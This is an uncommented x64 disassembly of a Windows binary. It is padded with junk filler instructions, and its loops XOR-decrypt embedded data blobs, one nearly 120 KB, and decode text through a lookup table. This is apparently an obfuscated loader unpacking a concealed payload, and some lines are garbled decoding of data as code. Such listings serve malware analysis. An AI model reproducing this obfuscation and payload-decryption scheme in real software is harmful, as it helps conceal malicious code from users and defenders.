call fcn.140038048
lea rbp, [rbx + rdi]
add rbp, 0xffffffffffffffdf
cmp r14, rbp
je 0x140013ba6
mov r12, r14
inc r14
cmp byte [r12], 0
jne 0x140013b7b
xor eax, eax
test al, al
jne 0x140013b7b
mov edx, 1
mov rcx, r12
call fcn.140038048
mov al, byte [r12]
jmp 0x140013b8f
cmp rdi, 0x20
jbe 0x14001773a
mov byte [rbx + r13], 0
movdqu xmmword [rbx + rdi - 0x10], xmm7
movdqu xmmword [rbx + rdi - 0x20], xmm6
lea r14, [rsp + 0xc0]
mov qword [r14], rbx
mov qword [r14 + 8], r15
mov qword [r14 + 0x10], rdi
lea r15, [rsp + 0x1e960]
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.140002845
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
lea rdi, [rsp + 0x250]
movaps xmmword [rdi + 0x20], xmm2
movaps xmmword [rdi + 0x10], xmm1
movaps xmmword [rdi], xmm0
lea rbx, [rsp + 0x1e968]
lea r15, [rsp + 0xdb0]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
mov r9, r15
call fcn.14002f333
movdqu xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
lea rbx, [rsp + 0x590]
movaps xmmword [rbx + 0x20], xmm2
movaps xmmword [rbx + 0x10], xmm1
movdqa xmmword [rbx], xmm0
mov rcx, r15
call fcn.14003b3e2
mov r15, rax
lea r12, [rsp + 0x100]
mov rcx, r12
mov rdx, rbx
call fcn.1400026fb
mov r13, qword [r12]
mov r8, qword [r12 + 0x10]
lea rsi, [rsp + 0x1e960]
mov rcx, rsi
mov rdx, r13
mov r9, r15
call fcn.140002ba5
mov rdx, qword [r12 + 8]
mov rcx, r13
call fcn.14001b4c0
mov rcx, rbx
call fcn.14002bdef
mov rcx, rdi
call fcn.1400034a3
mov rcx, r14
call fcn.140003475
cmp qword [rsi], 0x14
mov r12, qword [rsp + 0x248]
mov r13, qword [rsp + 0x240]
jne 0x14001773a
mov rbx, qword [rsp + 0x1e968]
mov r14, qword [rsp + 0x1e970]
mov r15, qword [rsp + 0x1e978]
mov rax, rax
or rax, 0
or rax, rax
sub rax, 0
mov rax, rax
sub rax, 0
add rax, 0
nop
xor rax, 0
or rax, rax
sub rax, 0
or rax, 0
lea rcx, [rsp + 0xdb0]
call fcn.14003b3c4
xor rax, 0
mov rax, rax
mov rax, rax
or rax, 0
or rax, 0
or rax, rax
nop
mov rax, rax
add rax, 0
or rax, 0
or rax, rax
or rax, 0
or rax, 0
add rax, 0
mov rcx, r13
mov rdx, r12
call fcn.140041e8b
test al, al
jne 0x140017764
nop
sub rax, 0
nop
or rax, 0
nop
or rax, rax
or rax, rax
sub rax, 0
or rax, 0
or rax, 0
xor rax, 0
nop
sub rax, 0
add rax, 0
mov rax, rax
nop
nop
sub rax, 0
xor rax, 0
sub rax, 0
xor rax, 0
or rax, 0
add rax, 0
mov rcx, r13
mov rdx, r12
call fcn.140002c83
test rax, rax
jne 0x14001773a
mov r12, rdx
or rax, rax
nop
nop
or rax, 0
add rax, 0
mov rax, rax
sub rax, 0
nop
sub rax, 0
xor rax, 0
nop
xor rax, 0
nop
nop
nop
add rax, 0
nop
xor rax, 0
nop
or rax, rax
nop
nop
mov rcx, rdx
mov rdx, rbx
mov r8, r15
call fcn.1400403a0
test rax, rax
jne 0x14001773a
nop
xor rax, 0
nop
nop
or rax, 0
xor rax, 0
sub rax, 0
or rax, rax
nop
nop
nop
mov rax, rax
mov rax, rax
or rax, 0
nop
xor rax, 0
lea r15, [rsp + 0xdb0]
lea rdx, [rsp + 0x180]
mov rcx, r15
call fcn.1400085f0
mov rcx, r12
call fcn.14004571c
mov rcx, rbx
mov rdx, r14
call fcn.14001b4c0
mov rcx, r15
call fcn.140004594
lea rcx, [rsp + 0x370]
mov qword [rcx], rax
or rax, 0
or rax, 0
or rax, rax
mov rax, rax
or rax, rax
mov rax, rax
xor rax, 0
add rax, 0
add rax, 0
add rax, 0
nop
xor rax, 0
or rax, rax
mov rax, rax
nop
add rax, 0
or rax, rax
mov rax, rax
sub rax, 0
xor rax, 0
mov rax, qword [rsp + 0x340]
mov rbx, qword [rsp + 0x350]
mov qword [r15], rcx
lea rcx, [rsp + 0x420]
mov qword [r15 + 8], rcx
lea rcx, [rsp + 0x320]
mov qword [r15 + 0x10], rcx
mov rcx, qword [rsp + 0x418]
mov qword [r15 + 0x18], rcx
mov qword [r15 + 0x20], 0x20
mov qword [rsp + 0x1e960], rax
mov qword [rsp + 0x1e968], rbx
and qword [rsp + 0x1e970], 0
mov rcx, rbx
call fcn.14000482b
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
xor r14d, r14d
mov r9d, 1
mov rcx, rbx
xor edx, edx
mov r8, rax
call fcn.140004891
or rax, rax
xor rax, 0
or rax, 0
xor rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
or rax, rax
nop
mov rax, rax
mov rax, rax
xor rax, 0
add rax, 0
or rax, 0
nop
or rax, 0
xor rax, 0
nop
nop
nop
or rax, rax
or rax, rax
nop
or rax, rax
sub rax, 0
or rax, rax
nop
mov rax, rax
add rax, 0
add rax, 0
or rax, 0
xor rax, 0
mov rax, rax
nop
nop
lea rax, [0x1400624de]
mov qword [r15], rax
mov rcx, qword [r15]
movabs rax, 0x44e6b8b25da68a46
mov qword [r15], rax
mov rdx, qword [r15]
call fcn.140006b52
mov rsi, rax
lea rcx, [rsp + 0xdb0]
mov r8d, 0x638
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x14004af3e]
cmp r14, 0x637
ja 0x140013ff0
mov rcx, qword [r14 + rax]
xor rcx, qword [rsi + r14]
mov qword [rsp + r14 + 0xdb0], rcx
add r14, 8
jmp 0x140013fd1
lea rsi, [rsp + 0x590]
lea rdx, [rsp + 0xdb0]
mov r8d, 0x638
mov rcx, rsi
call sub.msvcrt.dll_memcpy
xor rax, 0
add rax, 0
or rax, 0
xor rax, 0
nop
or rax, 0
mov ecx, 0x638
xor edx, edx
call fcn.14001b4ec
mov r14, rax
mov r15, rdx
mov r8d, 0x638
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_memcpy
lea rdx, [rsp + 0x1e960]
mov qword [rdx], r14
mov qword [rdx + 8], r15
mov qword [rdx + 0x10], 0x638
lea r12, [rsp + 0xdb0]
mov rcx, r12
call fcn.14000462c
cmp byte [r12 + 0x20], 2
jne 0x14001773a
mov r15, qword [rsp + 0xdb0]
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x40], rax
mov r13, qword [rsp + 0xdc0]
nop
or rax, rax
add rax, 0
nop
xor rax, 0
or rax, rax
sub rax, 0
xor rax, 0
or rax, 0
add rax, 0
xor rax, 0
sub rax, 0
nop
mov rax, rax
add rax, 0
or rax, 0
sub rax, 0
xor rax, 0
add rax, 0
nop
mov rax, rax
nop
xor rax, 0
sub rax, 0
lea rax, [0x14005a585]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x4fd716702618d7a4
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006911
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xdd0], xmm0
movdqa xmmword [rsp + 0xdc0], xmm0
movdqa xmmword [rsp + 0xdb0], xmm0
xor ecx, ecx
lea rdx, [0x14004b576]
cmp rcx, 0x2f
ja 0x14001415d
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
add rcx, 8
jmp 0x140014141
lea r14, [rsp + 0xdb0]
movaps xmm0, xmmword [r14]
movaps xmm1, xmmword [r14 + 0x10]
movaps xmm2, xmmword [r14 + 0x20]
movaps xmmword [rsp + 0x1e980], xmm2
movaps xmmword [rsp + 0x1e970], xmm1
movaps xmmword [rsp + 0x1e960], xmm0
mov ecx, 0x30
call fcn.14001b537
mov rsi, rax
mov qword [rsp + 0x38], rdx
movdqa xmm0, xmmword [rsp + 0x1e960]
movaps xmm1, xmmword [rsp + 0x1e970]
movaps xmm2, xmmword [rsp + 0x1e980]
movdqu xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
nop
nop
add rax, 0
sub rax, 0
or rax, 0
or rax, 0
add rax, 0
xor rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
or rax, rax
add rax, 0
add rax, 0
sub rax, 0
mov rax, rax
nop
sub rax, 0
lea rax, [0x14005f35b]
mov qword [r14], rax
mov rcx, qword [r14]
movabs rax, 0x6bf7642822d06393
mov qword [r14], rax
mov rdx, qword [r14]
call fcn.140006c7c
mov al, byte [rax]
xor al, 0x87
mov byte [rsp + 0x1e960], al
mov r8d, 0x30
mov rcx, r14
mov qword [rsp + 0x68], rsi
mov rdx, rsi
lea r9, [rsp + 0x1e960]
call fcn.140003533
lea rsi, [rsp + 0xc0]
mov rcx, rsi
mov rdx, r14
call fcn.14000372b
or rax, rax
mov rax, rax
xor rax, 0
sub rax, 0
mov rax, rax
or rax, 0
or rax, rax
or rax, rax
xor rax, 0
mov rbx, qword [rsi]
mov rbp, qword [rsi + 0x10]
shl rbp, 4
add rbp, rbx
pxor xmm6, xmm6
mov qword [rsp + 0x48], rbp
cmp rbx, rbp
je 0x14001479a
xor rax, 0
or rax, rax
or rax, rax
nop
nop
nop
or rax, 0
add rax, 0
mov rax, rax
sub rax, 0
mov rax, rax
or rax, 0
nop
or rax, 0
mov rax, rax
or rax, 0
or rax, rax
sub rax, 0
nop
xor rax, 0
nop
xor rax, 0
nop
sub rax, 0
mov rsi, qword [rbx]
mov r14, qword [rbx + 8]
lea rax, [0x14006729d]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x1960ecda02fafcfb
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006eea
mov al, byte [rax]
xor al, 0xdd
mov byte [rsp + 0x2e8], al
mov rcx, r12
mov rdx, rsi
mov r8, r14
lea r9, [rsp + 0x2e8]
call fcn.140003533
lea rcx, [rsp + 0x100]
mov rdx, r12
call fcn.14000372b
mov rcx, qword [rsp + 0x100]
cmp qword [rsp + 0x110], 2
jne 0x140014742
mov qword [rsp + 0x1d0], rcx
add rcx, 0x10
mov qword [rsp + 0x140], rcx
or rax, rax
add rax, 0
nop
sub rax, 0
mov rax, rax
sub rax, 0
mov rax, rax
nop
nop
or rax, rax
nop
mov rax, rax
or rax, 0
nop
or rax, 0
or rax, 0
sub rax, 0
mov rax, rax
nop
xor rax, 0
xor rax, 0
mov rax, rax
nop
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x1e960], rax
lea rax, [0x140024dac]
mov qword [rsp + 0x1e968], rax
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x1e970], rcx
mov qword [rsp + 0x1e978], rax
lea rax, [0x140069150]
mov qword [rsp + 0xdb0], rax
mov qword [rsp + 0xdb8], 3
and qword [rsp + 0xdd0], 0
lea rax, [rsp + 0x1e960]
mov qword [rsp + 0xdc0], rax
mov qword [rsp + 0xdc8], 2
mov al, byte [0x1400940e8]
test al, al
je 0x1400144be
xor ecx, ecx
call fcn.14003f37b
test rax, rax
je 0x1400144be
mov rbp, rax
mov r14, qword [rax]
and qword [rax], 0
test r14, r14
je 0x1400144be
mov qword [rsp + 0x70], r13
lea rdx, [r14 + 0x10]
mov rcx, rdi
call fcn.140041784
mov rsi, qword [rsp + 0x258]
lea rax, [rsi + 0x10]
mov qword [rsp + 0x250], rax
and qword [rsp + 0x258], 0
mov rcx, rdi
lea rdx, [0x14008c2b8]
mov r8, r12
call fcn.140020070
mov rcx, qword [rsp + 0x258]
test al, al
je 0x14001459a
lea r13, str.formatter_error
test rcx, rcx
jne 0x1400145a5
jmp 0x14001459d
mov rax, qword [0x140094130]
cmp rax, 3
lea r14, [0x1400940f0]
je 0x1400144e3
mov rax, qword [0x140094130]
cmp rax, 3
jne 0x140014758
call fcn.14003eab9
mov rsi, rax
mov rax, qword [0x1400940f8]
cmp rax, rsi
jne 0x140014506
mov eax, dword [0x140094128]
inc eax
jne 0x14001451a
jmp 0x14001773a
mov rcx, r14
call sub.kernel32.dll_AcquireSRWLockExclusive
mov qword [0x1400940f8], rsi
mov eax, 1
mov dword [0x140094128], eax
mov qword [rsp + 0x180], r14
lea rax, [rsp + 0x180]
mov qword [rsp + 0x250], rax
and qword [rsp + 0x258], 0
mov rcx, rdi
lea rdx, [0x14008c288]
mov r8, r12
call fcn.140020070
mov rsi, qword [rsp + 0x258]
test al, al
je 0x14001456d
lea r14, str.formatter_error
test rsi, rsi
jne 0x14001457b
jmp 0x140014570
xor r14d, r14d
mov rcx, rsi
call fcn.14003d496
mov rsi, r14
mov rcx, qword [rsp + 0x180]
call fcn.14003eb33
test rsi, rsi
jne 0x14001773a
xor ecx, ecx
call fcn.14003d496
jmp 0x1400145cf
xor r13d, r13d
call fcn.14003d496
mov rcx, r13
mov r13, qword [rsp + 0x70]
call fcn.14003d496
mov rcx, rsi
call sub.kernel32.dll_ReleaseSRWLockExclusive
mov rax, qword [rbp]
mov qword [rbp], r14
mov qword [rsp + 0x250], rax
mov rcx, rdi
call fcn.14003f168
or rax, 0
or rax, 0
add rax, 0
or rax, 0
or rax, 0
mov rax, qword [rsp + 0x1d0]
mov rbp, qword [rax]
mov rsi, qword [rax + 8]
mov r9d, 6
mov rcx, rbp
mov rdx, rsi
lea r8, str.__MSG___
call fcn.14003b675
test al, al
je 0x140014735
mov r9d, 2
mov rcx, rbp
mov rdx, rsi
lea r8, [0x140069186]
call fcn.140020894
test al, al
je 0x140014735
cmp rsi, 9
jb 0x140014735
mov rax, rax
mov rax, rax
nop
mov rax, rax
or rax, 0
nop
xor rax, 0
sub rax, 0
add rax, 0
or rax, 0
nop
mov rax, qword [rsp + 0x140]
mov r8, r13
mov r13, qword [rax]
mov r14, qword [rax + 8]
add r14, r13
lea rax, [rsp + 0x258]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x250], 1
mov qword [rsp + 0x20], rsi
mov rcx, r12
mov rdx, r15
mov qword [rsp + 0x70], r8
mov r9, rbp
call fcn.140021b8e
xor esi, esi
lea rcx, [rsp + 0x1e960]
mov rdx, r12
call fcn.140007aa3
cmp qword [rsp + 0x1e960], 0
je 0x1400146f2
mov rbp, qword [rsp + 0x1e970]
mov r8, qword [rsp + 0x1e968]
add r8, r15
add rsi, r15
mov rcx, rdi
mov rdx, rsi
call fcn.14001b1d4
mov rcx, rdi
mov rdx, r13
mov r8, r14
call fcn.14001b1d4
mov rsi, rbp
jmp 0x1400146a3
add rsi, r15
mov r8, qword [rsp + 0x70]
add r8, r15
mov rcx, rdi
mov rdx, rsi
call fcn.14001b1d4
mov rsi, qword [rsp + 0x250]
mov r14, qword [rsp + 0x258]
mov r13, qword [rsp + 0x260]
mov rcx, r15
mov rdx, qword [rsp + 0x40]
call fcn.14001b4c0
mov qword [rsp + 0x40], r14
mov r15, rsi
mov rcx, qword [rsp + 0x100]
mov rbp, qword [rsp + 0x48]
add rbx, 0x10
mov rdx, qword [rsp + 0x108]
call fcn.140003396
jmp 0x140014292
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x180], rdi
lea rcx, [0x140094130]
mov dl, 1
lea r8, [rsp + 0x180]
lea r9, [0x14008c780]
call fcn.14003e4b9
jmp 0x1400144e3
add rax, 0
sub rax, 0
add rax, 0
mov rax, rax
sub rax, 0
nop
sub rax, 0
sub rax, 0
nop
or rax, 0
sub rax, 0
nop
sub rax, 0
mov rax, rax
xor rax, 0
add rax, 0
or rax, rax
or rax, rax
or rax, rax
or rax, 0
add rax, 0
xor r12d, r12d
lea rdi, [rsp + 0xdb0]
lea rbx, [rsp + 0x1e960]
cmp r12, 0x80
je 0x1400148d1
mov rax, rax
nop
nop
nop
add rax, 0
nop
xor rax, 0
sub rax, 0
xor rax, 0
or rax, rax
nop
mov rax, rax
or rax, 0
add rax, 0
sub rax, 0
sub rax, 0
or rax, 0
or rax, rax
mov rdx, qword [rsp + r12 + 0xc40]
mov r8, qword [rsp + r12 + 0xc50]
mov qword [rsp + 0x20], 0x20
mov rcx, rdi
mov r9, qword [rsp + 0x2e0]
call fcn.140040abe
sub rax, 0
or rax, rax
mov rax, rax
mov rax, rax
or rax, 0
mov rsi, qword [rsp + 0xdb0]
mov r8, qword [rsp + 0xdc0]
mov rcx, rbx
mov rdx, rsi
call fcn.140002ddd
mov r14, qword [rsp + 0x1e960]
mov rdx, qword [rsp + 0x1e970]
mov rcx, r14
mov r8, r15
mov r9, r13
call fcn.14000b2b2
mov rdx, qword [rsp + 0x1e968]
mov rcx, r14
call fcn.14001b4c0
mov rdx, qword [rsp + 0xdb8]
mov rcx, rsi
call fcn.14001b4c0
add r12, 0x20
jmp 0x1400147f3
xor rax, 0
or rax, rax
or rax, 0
or rax, rax
or rax, rax
nop
xor rax, 0
or rax, 0
mov rax, rax
or rax, rax
mov rax, rax
or rax, 0
sub rax, 0
or rax, 0
nop
sub rax, 0
sub rax, 0
nop
or rax, 0
xor rax, 0
or rax, 0
xor rax, 0
nop
or rax, rax
or rax, rax
nop
xor rax, 0
sub rax, 0
or rax, rax
or rax, 0
xor rax, 0
lea rax, [0x140069783]
lea rbx, [rsp + 0xdb0]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0xcc4e16b2c4134e3c
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140006dae
mov rsi, rax
xor edi, edi
mov r8d, 0x1dba4
mov rcx, rbx
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x14004b5a6]
cmp rdi, 0x1dba0
jae 0x14001499a
mov rcx, qword [rdi + rax]
xor rcx, qword [rsi + rdi]
mov qword [rsp + rdi + 0xdb0], rcx
add rdi, 8
jmp 0x14001497b
mov ecx, 0x1dba0
cmp rcx, 0x1dba3
ja 0x1400149ce
movzx edx, byte [rcx + rax + 2]
shl edx, 0x10
movzx r8d, word [rcx + rax]
add edx, r8d
add edx, 0x6f000000
xor edx, dword [rsi + rcx]
mov dword [rsp + rcx + 0xdb0], edx
add rcx, 4
jmp 0x14001499f
mov al, byte [rsi + 0x1dba4]
xor al, 0x95
lea rdx, [rsp + 0xdb0]
mov byte [rdx + 0x1dba4], al
lea rsi, [rsp + 0x1e960]
mov r8d, 0x1dba5
mov rcx, rsi
call sub.msvcrt.dll_memcpy
nop
nop
nop
xor rax, 0
add rax, 0
mov rax, rax
nop
nop
add rax, 0
nop
xor rax, 0
add rax, 0
xor rax, 0
or rax, rax
sub rax, 0
nop
sub rax, 0
or rax, rax
sub rax, 0
mov rax, rax
nop
sub rax, 0
nop
mov edi, 4
dec edi
je 0x140014aad
add rax, 0
or rax, rax
mov rax, rax
add rax, 0
xor rax, 0
add rax, 0
mov edx, 0x1dba5
mov rcx, rsi
call fcn.14000b8e3
test al, al
je 0x140014a3c
mov rax, rax
nop
add rax, 0
sub rax, 0
sub rax, 0
or rax, rax
or rax, rax
mov rax, rax
mov rax, rax
xor rax, 0
or rax, 0
or rax, 0
add rax, 0
or rax, 0
nop
nop
nop
or rax, 0
add rax, 0
xor rax, 0
add rax, 0
mov rax, rax
mov rax, rax
xor rax, 0
sub rax, 0
nop
or rax, 0
xor rax, 0
or rax, rax
add rax, 0
mov rax, rax
sub rax, 0
or rax, 0
mov rax, rax
sub rax, 0
add rax, 0
mov rax, rax
sub rax, 0
add rax, 0
or rax, rax
nop
sub rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
nop
mov rax, rax
nop
mov rax, rax
add rax, 0
nop
add rax, 0
xor rax, 0
mov rax, rax
nop
xor rax, 0
mov rax, rax
or rax, rax
xor rax, 0
xor rax, 0
or rax, rax
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140003396
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x38]
call fcn.14001b4c0
mov rcx, r15
mov rdx, qword [rsp + 0x40]
call fcn.14001b4c0
lea rcx, [rsp + 0x370]
call fcn.1400030cd
lea rcx, [rsp + 0x420]
call fcn.140002fb5
mov rcx, qword [rsp + 0xbf0]
mov ecx, dword [rsp + 0xbf0]
mov rdx, qword [rsp + 0xbf8]
jmp 0x140016979
mov eax, dword [rsp + 0xdb4]
mov r13, qword [rsp + 0xdb8]
or eax, 0x8b4c0000
mov esp, 0xdc024
ror byte [0xcb494ba4], 0xb4
and al, 0xc8
invalid
add byte [rax], al
mov r14, qword [rsp + 0xdd0]
mov rdi, qword [rsp + 0xdd8]
or eax, 0x8b480000
pushfq
and al, 0xe0
loopne 0x140014bcc
add byte [rax], al
jmp 0x140015632
mov ebx, 0xc
jmp case.default.0x140012387
mov ebx, 0xa
jmp case.default.0x140012387
mov ebx, 0xb
xor r10d, r10d
mov rax, qword [rsp + 0x70]
sub rax, rbx
cmovb rax, r10
cmp rax, 0x20
jb 0x140015063
lea rcx, [rax - 0x20]
mov edx, 0x20
xor r9d, r9d
lea r8, [0x14004adfb]
lea r10, [rdx - 0x20]
cmp r10, rcx
ja 0x140015066
test rdx, rdx
je 0x14001773a
cmp rdx, qword [rsp + 0x70]
ja 0x14001773a
lea r10, [r9 + 0x1a]
cmp r10, qword [rsp + 0x40]
ja 0x14001773a
movzx r10d, byte [rsi + rdx - 0x20]
movzx r10d, byte [r10 + r8 + 0x43]
cmp r10, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0x1f]
movzx r14d, byte [r11 + r8 + 0x43]
cmp r14, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0x1e]
movzx r15d, byte [r11 + r8 + 0x43]
cmp r15, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0x1d]
movzx r11d, byte [r11 + r8 + 0x43]
cmp r11, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0x1c]
movzx ebx, byte [rdi + r8 + 0x43]
cmp rbx, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0x1b]
movzx r12d, byte [rdi + r8 + 0x43]
cmp r12, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0x1a]
movzx edi, byte [rdi + r8 + 0x43]
cmp rdi, 0xff
je case.0x140012387.1
movzx r13d, byte [rsi + rdx - 0x19]
movzx r13d, byte [r13 + r8 + 0x43]
cmp r13, 0xff
je case.0x140012387.1
shl r14, 0x34
shl r10, 0x3a
or r10, r14
shl r15, 0x2e
shl r11, 0x28
or r11, r15
or r11, r10
shl rbx, 0x22
shl r12, 0x1c
or r12, rbx
shl rdi, 0x16
or rdi, r12
or rdi, r11
shl r13, 0x10
or r13, rdi
bswap r13
mov r10, qword [rsp + 0x48]
mov qword [r10 + r9], r13
movzx r10d, byte [rsi + rdx - 0x18]
movzx r10d, byte [r10 + r8 + 0x43]
cmp r10, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0x17]
movzx r14d, byte [r11 + r8 + 0x43]
cmp r14, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0x16]
movzx r15d, byte [r11 + r8 + 0x43]
cmp r15, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0x15]
movzx r11d, byte [r11 + r8 + 0x43]
cmp r11, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0x14]
movzx ebx, byte [rdi + r8 + 0x43]
cmp rbx, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0x13]
movzx r12d, byte [rdi + r8 + 0x43]
cmp r12, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0x12]
movzx edi, byte [rdi + r8 + 0x43]
cmp rdi, 0xff
je case.0x140012387.1
movzx r13d, byte [rsi + rdx - 0x11]
movzx r13d, byte [r13 + r8 + 0x43]
cmp r13, 0xff
je case.0x140012387.1
shl r14, 0x34
shl r10, 0x3a
or r10, r14
shl r15, 0x2e
shl r11, 0x28
or r11, r15
or r11, r10
shl rbx, 0x22
shl r12, 0x1c
or r12, rbx
shl rdi, 0x16
or rdi, r12
or rdi, r11
shl r13, 0x10
or r13, rdi
bswap r13
mov r10, qword [rsp + 0x48]
mov qword [r10 + r9 + 6], r13
movzx r10d, byte [rsi + rdx - 0x10]
movzx r10d, byte [r10 + r8 + 0x43]
cmp r10, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0xf]
movzx r14d, byte [r11 + r8 + 0x43]
cmp r14, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0xe]
movzx r15d, byte [r11 + r8 + 0x43]
cmp r15, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 0xd]
movzx r11d, byte [r11 + r8 + 0x43]
cmp r11, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0xc]
movzx ebx, byte [rdi + r8 + 0x43]
cmp rbx, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0xb]
movzx r12d, byte [rdi + r8 + 0x43]
cmp r12, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 0xa]
movzx edi, byte [rdi + r8 + 0x43]
cmp rdi, 0xff
je case.0x140012387.1
movzx r13d, byte [rsi + rdx - 9]
movzx r13d, byte [r13 + r8 + 0x43]
cmp r13, 0xff
je case.0x140012387.1
shl r14, 0x34
shl r10, 0x3a
or r10, r14
shl r15, 0x2e
shl r11, 0x28
or r11, r15
or r11, r10
shl rbx, 0x22
shl r12, 0x1c
or r12, rbx
shl rdi, 0x16
or rdi, r12
or rdi, r11
shl r13, 0x10
or r13, rdi
bswap r13
mov r10, qword [rsp + 0x48]
mov qword [r10 + r9 + 0xc], r13
movzx r10d, byte [rsi + rdx - 8]
movzx r10d, byte [r10 + r8 + 0x43]
cmp r10, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 7]
movzx r14d, byte [r11 + r8 + 0x43]
cmp r14, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 6]
movzx r15d, byte [r11 + r8 + 0x43]
cmp r15, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + rdx - 5]
movzx r11d, byte [r11 + r8 + 0x43]
cmp r11, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 4]
movzx ebx, byte [rdi + r8 + 0x43]
cmp rbx, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 3]
movzx r12d, byte [rdi + r8 + 0x43]
cmp r12, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + rdx - 2]
movzx edi, byte [rdi + r8 + 0x43]
cmp rdi, 0xff
je case.0x140012387.1
movzx r13d, byte [rsi + rdx - 1]
movzx r13d, byte [r13 + r8 + 0x43]
cmp r13, 0xff
je case.0x140012387.1
shl r14, 0x34
shl r10, 0x3a
or r10, r14
shl r15, 0x2e
shl r11, 0x28
or r11, r15
or r11, r10
shl rbx, 0x22
shl r12, 0x1c
or r12, rbx
shl rdi, 0x16
or rdi, r12
or rdi, r11
shl r13, 0x10
or r13, rdi
bswap r13
mov r10, qword [rsp + 0x48]
mov qword [r10 + r9 + 0x12], r13
add r9, 0x18
add qword [rsp + 0x68], 0xfffffffffffffffc
add rdx, 0x20
jmp 0x140014c05
xor r9d, r9d
cmp rax, 8
jb 0x1400151cd
add rax, 0xfffffffffffffff8
lea rcx, [0x14004adfb]
cmp r10, rax
jae 0x1400151cd
cmp r10, 0xfffffffffffffff8
je 0x14001773a
lea rdx, [r10 + 8]
cmp rdx, qword [rsp + 0x70]
ja 0x14001773a
cmp r9, 0xfffffffffffffff7
ja 0x14001773a
lea r8, [r9 + 8]
cmp r8, qword [rsp + 0x40]
ja 0x14001773a
movzx r8d, byte [rsi + r10]
movzx r8d, byte [r8 + rcx + 0x43]
cmp r8, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + r10 + 1]
movzx r14d, byte [r11 + rcx + 0x43]
cmp r14, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + r10 + 2]
movzx r15d, byte [r11 + rcx + 0x43]
cmp r15, 0xff
je case.0x140012387.1
movzx r11d, byte [rsi + r10 + 3]
movzx r11d, byte [r11 + rcx + 0x43]
cmp r11, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + r10 + 4]
movzx ebx, byte [rdi + rcx + 0x43]
cmp rbx, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + r10 + 5]
movzx r12d, byte [rdi + rcx + 0x43]
cmp r12, 0xff
je case.0x140012387.1
movzx edi, byte [rsi + r10 + 6]
movzx edi, byte [rdi + rcx + 0x43]
cmp rdi, 0xff
je case.0x140012387.1
movzx r10d, byte [rsi + r10 + 7]
movzx r10d, byte [r10 + rcx + 0x43]
cmp r10, 0xff
je case.0x140012387.1
shl r14, 0x34
shl r8, 0x3a
or r8, r14
shl r15, 0x2e
shl r11, 0x28
or r11, r15
or r11, r8
shl rbx, 0x22
shl r12, 0x1c
or r12, rbx
shl rdi, 0x16
or rdi, r12
or rdi, r11
shl r10, 0x10
or r10, rdi
bswap r10
mov r8, qword [rsp + 0x48]
mov qword [r8 + r9], r10
add r9, 6
dec qword [rsp + 0x68]
mov r10, rdx
jmp 0x14001507b
mov rdx, qword [rsp + 0x70]
mov rax, rdx
neg rax
mov qword [rsp + 0x38], rax
sub rdx, r10
mov r8d, 1
lea rax, [0x14004adfb]
cmp r8, qword [rsp + 0x68]
jae 0x140015391
cmp r10, qword [rsp + 0x70]
ja 0x14001773a
cmp r9, 0xfffffffffffffff9
